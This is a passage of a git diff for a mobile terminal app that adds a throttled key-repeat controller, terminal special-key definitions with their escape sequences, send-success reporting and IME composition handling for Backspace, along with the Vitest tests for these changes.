+  return { promise, resolve }
+}
+
+describe('terminal accessory repeat', () => {
+  afterEach(() => vi.useRealTimers())
+
+  it('keeps one send in flight and preserves repeat order under host latency', async () => {
+    vi.useFakeTimers()
+    const first = deferred()
+    const second = deferred()
+    const sent: string[] = []
+    const send = vi.fn((input: string) => {
+      sent.push(input)
+      return (sent.length === 1 ? first.promise : second.promise).then(() => true)
+    })
+    const repeat = createTerminalAccessoryRepeatController<string>()
+
+    repeat.start('down', send)
+    expect(sent).toEqual(['down'])
+
+    await vi.advanceTimersByTimeAsync(TERMINAL_ACCESSORY_REPEAT_DELAY_MS + 500)
+    expect(sent).toEqual(['down'])
+
+    first.resolve()
+    await vi.advanceTimersByTimeAsync(0)
+    expect(sent).toEqual(['down', 'down'])
+
+    await vi.advanceTimersByTimeAsync(TERMINAL_ACCESSORY_REPEAT_INTERVAL_MS + 500)
+    expect(sent).toEqual(['down', 'down'])
+
+    second.resolve()
+    await vi.advanceTimersByTimeAsync(TERMINAL_ACCESSORY_REPEAT_INTERVAL_MS)
+    expect(sent).toEqual(['down', 'down', 'down'])
+  })
+
+  it('does not schedule another repeat after release while a send is pending', async () => {
+    vi.useFakeTimers()
+    const pending = deferred()
+    const send = vi.fn(() => pending.promise.then(() => true))
+    const repeat = createTerminalAccessoryRepeatController<string>()
+
+    repeat.start('down', send)
+    repeat.stop()
+    pending.resolve()
+    await vi.runAllTimersAsync()
+
+    expect(send).toHaveBeenCalledTimes(1)
+  })
+
+  it('dispatches distinct taps without waiting for prior acknowledgements', async () => {
+    vi.useFakeTimers()
+    const pending = Array.from({ length: 5 }, () => deferred())
+    const sent: string[] = []
+    const send = vi.fn((input: string) => {
+      sent.push(input)
+      return pending[sent.length - 1]!.promise.then(() => true)
+    })
+    const repeat = createTerminalAccessoryRepeatController<string>()
+
+    for (let index = 0; index < pending.length; index += 1) {
+      repeat.start(`tap-${index}`, send)
+      repeat.stop()
+    }
+
+    expect(sent).toEqual(['tap-0', 'tap-1', 'tap-2', 'tap-3', 'tap-4'])
+
+    pending.forEach(({ resolve }) => resolve())
+    await vi.runAllTimersAsync()
+    expect(send).toHaveBeenCalledTimes(5)
+  })
+
+  it('cancels repeats without dropping a distinct tap already dispatched by the user', async () => {
+    vi.useFakeTimers()
+    const first = deferred()
+    const sent: string[] = []
+    const send = vi.fn((input: string) => {
+      sent.push(input)
+      return input === 'down' ? first.promise.then(() => true) : Promise.resolve(true)
+    })
+    const repeat = createTerminalAccessoryRepeatController<string>()
+
+    repeat.start('down', send)
+    repeat.stop()
+    repeat.start('up', send)
+    repeat.cancel()
+
+    first.resolve()
+    await vi.runAllTimersAsync()
+
+    expect(sent).toEqual(['down', 'up'])
+    expect(send).toHaveBeenCalledTimes(2)
+  })
+
+  it('stops repeating when the transport rejects a send', async () => {
+    vi.useFakeTimers()
+    const send = vi.fn(() => Promise.reject(new Error('disconnected')))
+    const repeat = createTerminalAccessoryRepeatController<string>()
+
+    repeat.start('down', send)
+    await vi.runAllTimersAsync()
+
+    expect(send).toHaveBeenCalledTimes(1)
+  })
+
+  it('stops repeating when the send is dropped before reaching the transport', async () => {
+    vi.useFakeTimers()
+    const send = vi.fn(async () => false)
+    const repeat = createTerminalAccessoryRepeatController<string>()
+
+    repeat.start('down', send)
+    await vi.runAllTimersAsync()
+
+    expect(send).toHaveBeenCalledTimes(1)
+  })
+
+  it('stops sending when the terminal active at press time is no longer active', async () => {
+    let activeTerminal = 'terminal-a'
+    const sendToTerminal = vi.fn(async () => true)
+    const send = createTerminalAccessoryRepeatSender(
+      activeTerminal,
+      (targetHandle) => activeTerminal === targetHandle,
+      sendToTerminal
+    )
+
+    await expect(send('down')).resolves.toBe(true)
+    activeTerminal = 'terminal-b'
+    await expect(send('down')).resolves.toBe(false)
+
+    expect(sendToTerminal).toHaveBeenCalledTimes(1)
+    expect(sendToTerminal).toHaveBeenCalledWith('down', 'terminal-a', expect.any(Function))
+  })
+
+  it('provides a live target guard for async send preflight', async () => {
+    let targetCurrent = true
+    const preflight = deferred()
+    const send = createTerminalAccessoryRepeatSender(
+      'terminal-a',
+      () => targetCurrent,
+      async (_input, _targetHandle, isDeliveryTargetCurrent) => {
+        await preflight.promise
+        return isDeliveryTargetCurrent()
+      }
+    )
+
+    const result = send('down')
+    targetCurrent = false
+    preflight.resolve()
+
+    await expect(result).resolves.toBe(false)
+  })
+
+  it('stops held repeats when the press-time connection is no longer current', async () => {
+    vi.useFakeTimers()
+    let connectionGeneration = 1
+    const first = deferred()
+    const sent: string[] = []
+    const sendToTerminal = vi.fn((input: string) => {
+      sent.push(input)
+      return input === 'down' ? first.promise.then(() => true) : Promise.resolve(true)
+    })
+    const createSender = () => {
+      const pressedConnectionGeneration = connectionGeneration
+      return createTerminalAccessoryRepeatSender(
+        'terminal-a',
+        () => connectionGeneration === pressedConnectionGeneration,
+        sendToTerminal
+      )
+    }
+    const repeat = createTerminalAccessoryRepeatController<string>()
+
+    repeat.start('down', createSender())
+
+    connectionGeneration = 2
+    first.resolve()
+    await vi.runAllTimersAsync()
+
+    expect(sent).toEqual(['down'])
+  })
+})
diff --git a/mobile/src/terminal/terminal-accessory-repeat.ts b/mobile/src/terminal/terminal-accessory-repeat.ts
new file mode 100644
index 00000000000..2b354b42d59
--- /dev/null
+++ b/mobile/src/terminal/terminal-accessory-repeat.ts
@@ -0,0 +1,76 @@
+export const TERMINAL_ACCESSORY_REPEAT_DELAY_MS = 400
+export const TERMINAL_ACCESSORY_REPEAT_INTERVAL_MS = 45
+
+type TerminalAccessoryRepeatSender<TInput> = (input: TInput) => Promise<boolean>
+type TerminalAccessoryRepeatSendToTerminal<TInput> = (
+  input: TInput,
+  targetHandle: string,
+  isDeliveryTargetCurrent: () => boolean
+) => Promise<boolean>
+
+export function createTerminalAccessoryRepeatSender<TInput>(
+  targetHandle: string | null,
+  isDeliveryTargetCurrent: (targetHandle: string) => boolean,
+  sendToTerminal: TerminalAccessoryRepeatSendToTerminal<TInput>
+): TerminalAccessoryRepeatSender<TInput> {
+  return (input) => {
+    if (!targetHandle || !isDeliveryTargetCurrent(targetHandle)) {
+      return Promise.resolve(false)
+    }
+    return sendToTerminal(input, targetHandle, () => isDeliveryTargetCurrent(targetHandle))
+  }
+}
+
+export function createTerminalAccessoryRepeatController<TInput>() {
+  let generation = 0
+  let timer: ReturnType<typeof setTimeout> | null = null
+
+  const stop = () => {
+    generation += 1
+    if (timer !== null) {
+      clearTimeout(timer)
+      timer = null
+    }
+  }
+
+  const cancel = stop
+
+  const start = (input: TInput, send: TerminalAccessoryRepeatSender<TInput>) => {
+    stop()
+    const activeGeneration = generation
+    const pressedAt = Date.now()
+
+    const schedule = (delayMs: number) => {
+      timer = setTimeout(() => {
+        timer = null
+        if (generation !== activeGeneration) {
+          return
+        }
+        void send(input).then(
+          (sent) => {
+            if (sent && generation === activeGeneration) {
+              schedule(TERMINAL_ACCESSORY_REPEAT_INTERVAL_MS)
+            }
+          },
+          () => undefined
+        )
+      }, delayMs)
+    }
+
+    void send(input).then(
+      (sent) => {
+        if (sent && generation === activeGeneration) {
+          schedule(
+            Math.min(
+              TERMINAL_ACCESSORY_REPEAT_DELAY_MS,
+              Math.max(0, TERMINAL_ACCESSORY_REPEAT_DELAY_MS - (Date.now() - pressedAt))
+            )
+          )
+        }
+      },
+      () => undefined
+    )
+  }
+
+  return { cancel, start, stop }
+}
diff --git a/mobile/src/terminal/terminal-key-definitions.ts b/mobile/src/terminal/terminal-key-definitions.ts
new file mode 100644
index 00000000000..e6aeb63d45c
--- /dev/null
+++ b/mobile/src/terminal/terminal-key-definitions.ts
@@ -0,0 +1,143 @@
+import type { TerminalAccessoryKey, TerminalShortcutSpecialKey } from './terminal-accessory-keys'
+
+export const SPECIAL_KEY_LABELS: Record<string, string> = {
+  escape: 'Esc',
+  tab: 'Tab',
+  enter: 'Enter',
+  backspace: '⌫',
+  delete: 'Del',
+  insert: 'Ins',
+  arrowUp: '↑',
+  arrowDown: '↓',
+  arrowLeft: '←',
+  arrowRight: '→',
+  home: 'Home',
+  end: 'End',
+  pageUp: 'PgUp',
+  pageDown: 'PgDn',
+  space: 'Space',
+  f1: 'F1',
+  f2: 'F2',
+  f3: 'F3',
+  f4: 'F4',
+  f5: 'F5',
+  f6: 'F6',
+  f7: 'F7',
+  f8: 'F8',
+  f9: 'F9',
+  f10: 'F10',
+  f11: 'F11',
+  f12: 'F12'
+}
+
+const SPECIAL_KEY_ACCESSIBILITY_LABELS: Record<string, string> = {
+  escape: 'Escape',
+  tab: 'Tab',
+  enter: 'Enter',
+  backspace: 'Backspace',
+  delete: 'Forward delete',
+  insert: 'Insert',
+  arrowUp: 'Arrow up',
+  arrowDown: 'Arrow down',
+  arrowLeft: 'Arrow left',
+  arrowRight: 'Arrow right',
+  home: 'Home',
+  end: 'End',
+  pageUp: 'Page up',
+  pageDown: 'Page down',
+  space: 'Space',
+  f1: 'F1',
+  f2: 'F2',
+  f3: 'F3',
+  f4: 'F4',
+  f5: 'F5',
+  f6: 'F6',
+  f7: 'F7',
+  f8: 'F8',
+  f9: 'F9',
+  f10: 'F10',
+  f11: 'F11',
+  f12: 'F12'
+}
+
+export const TERMINAL_SHORTCUT_SPECIAL_KEY_DEFINITIONS: TerminalShortcutSpecialKey[] = [
+  'escape',
+  'tab',
+  'enter',
+  'backspace',
+  'delete',
+  'insert',
+  'arrowUp',
+  'arrowDown',
+  'arrowLeft',
+  'arrowRight',
+  'home',
+  'end',
+  'pageUp',
+  'pageDown',
+  'space',
+  'f1',
+  'f2',
+  'f3',
+  'f4',
+  'f5',
+  'f6',
+  'f7',
+  'f8',
+  'f9',
+  'f10',
+  'f11',
+  'f12'
+].map((id) => ({
+  id,
+  label: SPECIAL_KEY_LABELS[id]!,
+  accessibilityLabel: SPECIAL_KEY_ACCESSIBILITY_LABELS[id]!
+}))
+
+export const TERMINAL_ACCESSORY_KEY_DEFINITIONS: TerminalAccessoryKey[] = [
+  { id: 'escape', label: 'Esc', bytes: '\x1b', accessibilityLabel: 'Escape' },
+  { id: 'tab', label: 'Tab', bytes: '\t', accessibilityLabel: 'Tab' },
+  { id: 'enter', label: 'Enter', bytes: '\r', accessibilityLabel: 'Enter' },
+  // Why: terminal apps recognize ESC [ Z as the reverse-tab sequence.
+  { id: 'shiftTab', label: 'Shift+Tab', bytes: '\x1b[Z', accessibilityLabel: 'Shift Tab' },
+  { id: 'space', label: 'Space', bytes: ' ', accessibilityLabel: 'Space' },
+  { id: 'backspace', label: '⌫', bytes: '\x7f', accessibilityLabel: 'Backspace', repeatable: true },
+  {
+    id: 'delete',
+    label: 'Del',
+    bytes: '\x1b[3~',
+    accessibilityLabel: 'Forward delete',
+    repeatable: true
+  },
+  { id: 'arrowUp', label: '↑', bytes: '\x1b[A', accessibilityLabel: 'Arrow Up', repeatable: true },
+  {
+    id: 'arrowDown',
+    label: '↓',
+    bytes: '\x1b[B',
+    accessibilityLabel: 'Arrow Down',
+    repeatable: true
+  },
+  {
+    id: 'arrowLeft',
+    label: '←',
+    bytes: '\x1b[D',
+    accessibilityLabel: 'Arrow Left',
+    repeatable: true
+  },
+  {
+    id: 'arrowRight',
+    label: '→',
+    bytes: '\x1b[C',
+    accessibilityLabel: 'Arrow Right',
+    repeatable: true
+  },
+  { id: 'ctrlC', label: 'Ctrl+C', bytes: '\x03', accessibilityLabel: 'Interrupt terminal' },
+  { id: 'ctrlD', label: 'Ctrl+D', bytes: '\x04', accessibilityLabel: 'Send EOF' },
+  { id: 'ctrlL', label: 'Ctrl+L', bytes: '\x0c', accessibilityLabel: 'Clear screen' },
+  { id: 'ctrlZ', label: 'Ctrl+Z', bytes: '\x1a', accessibilityLabel: 'Suspend process' },
+  { id: 'ctrlR', label: 'Ctrl+R', bytes: '\x12', accessibilityLabel: 'Reverse search' },
+  { id: 'ctrlA', label: 'Ctrl+A', bytes: '\x01', accessibilityLabel: 'Start of line' },
+  { id: 'ctrlE', label: 'Ctrl+E', bytes: '\x05', accessibilityLabel: 'End of line' },
+  { id: 'ctrlW', label: 'Ctrl+W', bytes: '\x17', accessibilityLabel: 'Delete word backward' },
+  { id: 'ctrlU', label: 'Ctrl+U', bytes: '\x15', accessibilityLabel: 'Clear line before cursor' }
+]
diff --git a/mobile/src/terminal/terminal-live-accessory-raw-send.test.ts b/mobile/src/terminal/terminal-live-accessory-raw-send.test.ts
index 7a1110b407b..4ecab7dd10c 100644
--- a/mobile/src/terminal/terminal-live-accessory-raw-send.test.ts
+++ b/mobile/src/terminal/terminal-live-accessory-raw-send.test.ts
@@ -1,8 +1,16 @@
 import { describe, expect, it, vi } from 'vitest'
 import { sendTerminalLiveAccessoryRawBytes } from './terminal-live-accessory-raw-send'
 import type { RpcClient } from '../transport/rpc-client'
+import type { RpcResponse } from '../transport/types'
 
-function captureClient(result: Promise<unknown> = Promise.resolve({ ok: true })) {
+function captureClient(
+  result: Promise<unknown> = Promise.resolve({
+    id: 'send',
+    ok: true,
+    result: { send: { handle: 'terminal-a', accepted: true, bytesWritten: 1 } },
+    _meta: { runtimeId: 'test-runtime' }
+  })
+) {
   const sendRequest = vi.fn(() => result)
   return { client: { sendRequest } as unknown as Pick<RpcClient, 'sendRequest'>, sendRequest }
 }
@@ -20,7 +28,7 @@ describe('terminal live accessory raw send', () => {
   it('sends raw bytes now-or-never with the device presence tag', async () => {
     const { client, sendRequest } = captureClient()
 
-    await sendTerminalLiveAccessoryRawBytes({ ...BASE_ARGS, client })
+    await expect(sendTerminalLiveAccessoryRawBytes({ ...BASE_ARGS, client })).resolves.toBe(true)
 
     expect(sendRequest).toHaveBeenCalledWith(
       'terminal.send',
@@ -33,7 +41,9 @@ describe('terminal live accessory raw send', () => {
   it('drops the bytes instead of sending while disconnected', async () => {
     const { client, sendRequest } = captureClient()
 
-    await sendTerminalLiveAccessoryRawBytes({ ...BASE_ARGS, client, connState: 'reconnecting' })
+    await expect(
+      sendTerminalLiveAccessoryRawBytes({ ...BASE_ARGS, client, connState: 'reconnecting' })
+    ).resolves.toBe(false)
 
     expect(sendRequest).not.toHaveBeenCalled()
   })
@@ -41,16 +51,28 @@ describe('terminal live accessory raw send', () => {
   it('drops the bytes when the terminal selection went stale mid-flush', async () => {
     const { client, sendRequest } = captureClient()
 
-    await sendTerminalLiveAccessoryRawBytes({ ...BASE_ARGS, client, activeHandle: 'terminal-b' })
+    await expect(
+      sendTerminalLiveAccessoryRawBytes({ ...BASE_ARGS, client, activeHandle: 'terminal-b' })
+    ).resolves.toBe(false)
 
     expect(sendRequest).not.toHaveBeenCalled()
   })
 
-  it('swallows a rejected send so accessory taps never surface transport errors', async () => {
+  it('reports a rejected send without surfacing transport errors', async () => {
     const { client } = captureClient(Promise.reject(new Error('Not connected: terminal.send')))
 
-    await expect(
-      sendTerminalLiveAccessoryRawBytes({ ...BASE_ARGS, client })
-    ).resolves.toBeUndefined()
+    await expect(sendTerminalLiveAccessoryRawBytes({ ...BASE_ARGS, client })).resolves.toBe(false)
+  })
+
+  it('reports a fulfilled RPC failure as a failed send', async () => {
+    const response: RpcResponse = {
+      id: 'send',
+      ok: false,
+      error: { code: 'terminal_error', message: 'failed' },
+      _meta: { runtimeId: 'test-runtime' }
+    }
+    const { client } = captureClient(Promise.resolve(response))
+
+    await expect(sendTerminalLiveAccessoryRawBytes({ ...BASE_ARGS, client })).resolves.toBe(false)
   })
 })
diff --git a/mobile/src/terminal/terminal-live-accessory-raw-send.ts b/mobile/src/terminal/terminal-live-accessory-raw-send.ts
index 792491f6c63..3824d750792 100644
--- a/mobile/src/terminal/terminal-live-accessory-raw-send.ts
+++ b/mobile/src/terminal/terminal-live-accessory-raw-send.ts
@@ -1,4 +1,5 @@
 import { getTerminalLiveAccessoryRawSendTarget } from './terminal-live-accessory-raw-send-target'
+import { isTerminalSendRpcAccepted } from './terminal-send-rpc-response'
 import { buildTerminalSendParams, TERMINAL_INPUT_SEND_OPTIONS } from './terminal-send-request'
 import type { RpcClient } from '../transport/rpc-client'
 import type { ConnectionState } from '../transport/types'
@@ -15,7 +16,7 @@ type TerminalLiveAccessoryRawSendArgs = {
 
 export async function sendTerminalLiveAccessoryRawBytes(
   args: TerminalLiveAccessoryRawSendArgs
-): Promise<void> {
+): Promise<boolean> {
   // Why: async IME flushing can outlive the original terminal selection.
   const rawSendTarget = getTerminalLiveAccessoryRawSendTarget({
     targetHandle: args.targetHandle,
@@ -23,9 +24,9 @@ export async function sendTerminalLiveAccessoryRawBytes(
     activeSessionTabType: args.activeSessionTabType
   })
   if (!args.client || !rawSendTarget || args.connState !== 'connected') {
-    return
+    return false
   }
-  await args.client
+  return args.client
     .sendRequest(
       'terminal.send',
       buildTerminalSendParams({
@@ -36,8 +37,5 @@ export async function sendTerminalLiveAccessoryRawBytes(
       }),
       TERMINAL_INPUT_SEND_OPTIONS
     )
-    .then(
-      () => undefined,
-      () => undefined
-    )
+    .then(isTerminalSendRpcAccepted, () => false)
 }
diff --git a/mobile/src/terminal/use-terminal-live-accessory-input-commit.test.ts b/mobile/src/terminal/use-terminal-live-accessory-input-commit.test.ts
index 2542b315a8f..ad1d1726798 100644
--- a/mobile/src/terminal/use-terminal-live-accessory-input-commit.test.ts
+++ b/mobile/src/terminal/use-terminal-live-accessory-input-commit.test.ts
@@ -26,6 +26,7 @@ function createDeferredBoolean(): DeferredBoolean {
 }
 
 type AccessoryInputCommitHarnessOptions = {
+  readonly composing?: boolean
   readonly heldText?: string
   readonly sentText?: string
   readonly pendingHandle?: string | null
@@ -46,6 +47,7 @@ type AccessoryInputCommitHarness = {
 }
 
 function createAccessoryInputCommitHarness({
+  composing,
   heldText = '',
   sentText = '',
   pendingHandle = null,
@@ -55,6 +57,7 @@ function createAccessoryInputCommitHarness({
 }: AccessoryInputCommitHarnessOptions = {}): AccessoryInputCommitHarness {
   const activeHandle = 'terminal-a'
   const heldLiveInputTextRef: RefObject<string> = { current: heldText }
+  const liveInputComposingRef: RefObject<boolean | undefined> = { current: composing }
   const sentLiveInputTextRef: RefObject<string> = { current: sentText }
   const pendingLiveInputHandleRef: RefObject<string | null> = { current: pendingHandle }
   const liveInputRef: RefObject<TextInput | null> = { current: null }
@@ -66,7 +69,9 @@ function createAccessoryInputCommitHarness({
       return sendResult
     }
   }
-  const applyLiveInputMirror = vi.fn((_handle: string, _fieldText: string) => {})
+  const applyLiveInputMirror = vi.fn(
+    async (_handle: string, _fieldText: string, _composing?: boolean) => true
+  )
   const clearPendingLiveInputCommit = vi.fn(() => {})
   const flushPendingLiveInputText = vi.fn(async (_expectedHandle: string | null) => flushResult)
   const waitForPendingLiveInputFlush = vi.fn(async () => waitResult)
@@ -82,6 +87,7 @@ function createAccessoryInputCommitHarness({
       clearPendingLiveInputCommit,
       flushPendingLiveInputText,
       heldLiveInputTextRef,
+      liveInputComposingRef,
       liveInputRef,
       liveInputTerminalHandles,
       pendingLiveInputHandleRef,
@@ -165,6 +171,20 @@ describe('terminal live accessory input commit hook', () => {
     expect(result).toEqual({ kind: 'handled' })
   })
 
+  it('Given held text with a failed control send When committed Then reports the accessory input as suppressed', async () => {
+    const harness = createAccessoryInputCommitHarness({
+      heldText: '한',
+      pendingHandle: 'terminal-a',
+      sendResult: false
+    })
+
+    const result = await harness.commit({ bytes: '\x1b' })
+
+    expect(harness.flushPendingLiveInputText).toHaveBeenCalledWith('terminal-a')
+    expect(harness.sent).toEqual(['\x1b'])
+    expect(result).toEqual({ kind: 'suppress-raw' })
+  })
+
   it('Given raw accessory bytes with no held text When committed Then allows the raw send without flushing', async () => {
     // Given
     const harness = createAccessoryInputCommitHarness({ pendingHandle: null })
@@ -178,10 +198,11 @@ describe('terminal live accessory input commit hook', () => {
     expect(harness.sent).toEqual([])
   })
 
-  it('Given accessory backspace with a held syllable When committed Then mirrors the emptied field without terminal bytes', async () => {
+  it('Given accessory backspace with reported composition When committed Then keeps the edited preedit held', async () => {
     // Given
     const harness = createAccessoryInputCommitHarness({
-      heldText: '한',
+      composing: true,
+      heldText: 'ni hao',
       sentText: '',
       pendingHandle: 'terminal-a'
     })
@@ -190,14 +211,31 @@ describe('terminal live accessory input commit hook', () => {
     const result = await harness.commit({ bytes: '\x7f', localEdit: 'backspace' })
 
     // Then
-    expect(harness.applyLiveInputMirror).toHaveBeenCalledWith('terminal-a', '')
+    expect(harness.applyLiveInputMirror).toHaveBeenCalledWith('terminal-a', 'ni ha', true)
     expect(result).toEqual({ kind: 'handled' })
     expect(harness.sent).toEqual([])
   })
 
+  it('Given accessory backspace with an unreported hold When committed Then preserves the Android fallback', async () => {
+    // Given
+    const harness = createAccessoryInputCommitHarness({
+      heldText: '한글',
+      sentText: '',
+      pendingHandle: 'terminal-a'
+    })
+
+    // When
+    const result = await harness.commit({ bytes: '\x7f', localEdit: 'backspace' })
+
+    // Then
+    expect(harness.applyLiveInputMirror).toHaveBeenCalledWith('terminal-a', '한', undefined)
+    expect(result).toEqual({ kind: 'handled' })
+  })
+
   it('Given accessory backspace with mirrored sent text When committed Then mirrors the shortened field so the diff emits DEL', async () => {
     // Given
     const harness = createAccessoryInputCommitHarness({
+      composing: false,
       heldText: '',
       sentText: 'ab',
       pendingHandle: 'terminal-a'
@@ -207,7 +245,7 @@ describe('terminal live accessory input commit hook', () => {
     const result = await harness.commit({ bytes: '\x7f', localEdit: 'backspace' })
 
     // Then
-    expect(harness.applyLiveInputMirror).toHaveBeenCalledWith('terminal-a', 'a')
+    expect(harness.applyLiveInputMirror).toHaveBeenCalledWith('terminal-a', 'a', false)
     expect(result).toEqual({ kind: 'handled' })
   })
 })
diff --git a/mobile/src/terminal/use-terminal-live-accessory-input-commit.ts b/mobile/src/terminal/use-terminal-live-accessory-input-commit.ts
index 0893ae16098..80a8422d085 100644
--- a/mobile/src/terminal/use-terminal-live-accessory-input-commit.ts
+++ b/mobile/src/terminal/use-terminal-live-accessory-input-commit.ts
@@ -21,10 +21,15 @@ export async function getTerminalLiveAccessoryInactiveInputCommitResult(
 
 type TerminalLiveAccessoryInputCommitOptions = {
   readonly activeHandle: string | null
-  readonly applyLiveInputMirror: (handle: string, fieldText: string) => void
+  readonly applyLiveInputMirror: (
+    handle: string,
+    fieldText: string,
+    composing?: boolean
+  ) => Promise<boolean>
   readonly clearPendingLiveInputCommit: () => void
   readonly flushPendingLiveInputText: (expectedHandle: string | null) => Promise<boolean>
   readonly heldLiveInputTextRef: RefObject<string>
+  readonly liveInputComposingRef: RefObject<boolean | undefined>
   readonly liveInputRef: RefObject<TextInput | null>
   readonly liveInputTerminalHandles: ReadonlySet<string>
   readonly pendingLiveInputHandleRef: RefObject<string | null>
@@ -40,6 +45,7 @@ export function useTerminalLiveAccessoryInputCommit({
   clearPendingLiveInputCommit,
   flushPendingLiveInputText,
   heldLiveInputTextRef,
+  liveInputComposingRef,
   liveInputRef,
   liveInputTerminalHandles,
   pendingLiveInputHandleRef,
@@ -81,15 +87,21 @@ export function useTerminalLiveAccessoryInputCommit({
           // field is edited here and the mirror diff syncs the PTY echo.
           setLiveInputCapture(editedText)
           liveInputRef.current?.setNativeProps({ text: editedText })
-          applyLiveInputMirror(activeHandle, editedText)
-          return { kind: 'handled' }
+          // Preserve undefined so Android's heuristic hold still settles on its timer.
+          const sent = await applyLiveInputMirror(
+            activeHandle,
+            editedText,
+            liveInputComposingRef.current
+          )
+          return sent ? { kind: 'handled' } : { kind: 'suppress-raw' }
         }
-        case 'commit-held-then-send':
-          await sendTerminalLiveControlAfterPendingFlush(
+        case 'commit-held-then-send': {
+          const sent = await sendTerminalLiveControlAfterPendingFlush(
             () => flushPendingLiveInputText(activeHandle),
             () => sendLiveTerminalInputRef.current(activeHandle, decision.bytes)
           )
-          return { kind: 'handled' }
+          return sent ? { kind: 'handled' } : { kind: 'suppress-raw' }
+        }
         default:
           decision satisfies never
           return { kind: 'handled' }
@@ -101,6 +113,7 @@ export function useTerminalLiveAccessoryInputCommit({
       clearPendingLiveInputCommit,
       flushPendingLiveInputText,
       heldLiveInputTextRef,
+      liveInputComposingRef,
       liveInputRef,
       liveInputTerminalHandles,
       pendingLiveInputHandleRef,
diff --git a/mobile/src/terminal/use-terminal-live-input-commit.test.ts b/mobile/src/terminal/use-terminal-live-input-commit.test.ts
index d4a39d2d417..6077ccb4033 100644
--- a/mobile/src/terminal/use-terminal-live-input-commit.test.ts
+++ b/mobile/src/terminal/use-terminal-live-input-commit.test.ts
@@ -161,6 +161,49 @@ describe('terminal live input commit hook', () => {
     expect(sent).toEqual([])
   })
 
+  it('Given an iOS pinyin preedit When accessory Backspace edits it Then only the candidate reaches the terminal', async () => {
+    // Given
+    vi.useFakeTimers()
+    const { handlers, sent } = createTerminalLiveInputCommitHarness()
+    changeLiveInput(handlers, 'ni hao', true)
+
+    // When
+    await handlers.handleLiveInputAccessoryBytes({ bytes: '\x7f', localEdit: 'backspace' })
+    await vi.advanceTimersByTimeAsync(TERMINAL_LIVE_HELD_PREEDIT_COMMIT_DELAY_MS * 2)
+    changeLiveInput(handlers, '你好', false)
+
+    // Then
+    await vi.waitFor(() => expect(sent).toEqual(['你好']))
+  })
+
+  it('Given an Android heuristic hold When accessory Backspace edits it Then the remaining text still settles', async () => {
+    // Given
+    vi.useFakeTimers()
+    const { handlers, sent } = createTerminalLiveInputCommitHarness()
+    changeLiveInput(handlers, '한글')
+
+    // When
+    await handlers.handleLiveInputAccessoryBytes({ bytes: '\x7f', localEdit: 'backspace' })
+    await vi.advanceTimersByTimeAsync(TERMINAL_LIVE_HELD_PREEDIT_COMMIT_DELAY_MS)
+
+    // Then
+    await vi.waitFor(() => expect(sent).toEqual(['한']))
+  })
+
+  it('Given a failed mirrored Backspace When accessory input commits Then reports failure', async () => {
+    const { handlers, sent } = createTerminalLiveInputCommitHarness({ sendResult: false })
+    changeLiveInput(handlers, 'a', false)
+    await vi.waitFor(() => expect(sent).toEqual(['a']))
+
+    const result = await handlers.handleLiveInputAccessoryBytes({
+      bytes: '\x7f',
+      localEdit: 'backspace'
+    })
+
+    expect(sent).toEqual(['a', '\x7f'])
+    expect(result).toEqual({ kind: 'suppress-raw' })
+  })
+
   it('Given a held syllable When the settle timer elapses Then commits it to the terminal', async () => {
     // Given
     vi.useFakeTimers()
diff --git a/mobile/src/terminal/use-terminal-live-input-commit.ts b/mobile/src/terminal/use-terminal-live-input-commit.ts
index b05241f6421..952612f0a87 100644
--- a/mobile/src/terminal/use-terminal-live-input-commit.ts
+++ b/mobile/src/terminal/use-terminal-live-input-commit.ts
@@ -68,6 +68,7 @@ export function useTerminalLiveInputCommit<TTabType extends string>({
     clearPendingLiveInputCommit,
     flushPendingLiveInputText,
     heldLiveInputTextRef,
+    liveInputComposingRef,
     pendingLiveInputHandleRef,
     sentLiveInputTextRef,
     waitForPendingLiveInputFlush
@@ -132,7 +133,7 @@ export function useTerminalLiveInputCommit<TTabType extends string>({
       // that differs from the native field text, so the controlled capture must
       // echo the field verbatim; only the PTY mirror sees normalized text.
       setLiveInputCapture(nativeEvent.text)
-      applyLiveInputMirror(
+      void applyLiveInputMirror(
         activeHandle,
         normalizeTerminalTextInput(nativeEvent.text),
         nativeEvent.isComposing
@@ -196,6 +197,7 @@ export function useTerminalLiveInputCommit<TTabType extends string>({
     clearPendingLiveInputCommit,
     flushPendingLiveInputText,
     heldLiveInputTextRef,
+    liveInputComposingRef,
     liveInputRef,
     liveInputTerminalHandles,
     pendingLiveInputHandleRef,
diff --git a/mobile/src/terminal/use-terminal-live-pending-input-flush.ts b/mobile/src/terminal/use-terminal-live-pending-input-flush.ts
index 75dd3e49f61..ff0c09c1c51 100644
--- a/mobile/src/terminal/use-terminal-live-pending-input-flush.ts
+++ b/mobile/src/terminal/use-terminal-live-pending-input-flush.ts
@@ -30,10 +30,15 @@ type RunTerminalLiveMirrorStep = (
 ) => Promise<boolean>
 
 type TerminalLivePendingInputFlush = {
-  readonly applyLiveInputMirror: (handle: string, fieldText: string, composing?: boolean) => void
+  readonly applyLiveInputMirror: (
+    handle: string,
+    fieldText: string,
+    composing?: boolean
+  ) => Promise<boolean>
   readonly clearPendingLiveInputCommit: () => void
   readonly flushPendingLiveInputText: (expectedHandle: string | null) => Promise<boolean>
   readonly heldLiveInputTextRef: RefObject<string>
+  readonly liveInputComposingRef: RefObject<boolean | undefined>
   readonly pendingLiveInputHandleRef: RefObject<string | null>
   readonly sentLiveInputTextRef: RefObject<string>
   readonly waitForPendingLiveInputFlush: () => Promise<boolean>
@@ -50,6 +55,7 @@ export function useTerminalLivePendingInputFlush<TTabType extends string>({
   const heldCommitTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null)
   const pendingLiveInputFlushRef = useRef(createTerminalLivePendingFlushState())
   const heldLiveInputTextRef = useRef('')
+  const liveInputComposingRef = useRef<boolean | undefined>(undefined)
   const sentLiveInputTextRef = useRef('')
   const pendingLiveInputHandleRef = useRef<string | null>(null)
   const runMirrorStepRef = useRef<RunTerminalLiveMirrorStep>(async () => false)
@@ -65,6 +71,7 @@ export function useTerminalLivePendingInputFlush<TTabType extends string>({
     clearHeldCommitTimer()
     cancelTerminalLivePendingFlush(pendingLiveInputFlushRef.current)
     heldLiveInputTextRef.current = ''
+    liveInputComposingRef.current = undefined
     sentLiveInputTextRef.current = ''
     pendingLiveInputHandleRef.current = null
   }, [clearHeldCommitTimer])
@@ -106,6 +113,7 @@ export function useTerminalLivePendingInputFlush<TTabType extends string>({
       })
       sentLiveInputTextRef.current = step.nextSentText
       heldLiveInputTextRef.current = step.heldText
+      liveInputComposingRef.current = composing
       pendingLiveInputHandleRef.current =
         step.heldText.length > 0 || step.nextSentText.length > 0 ? handle : null
 
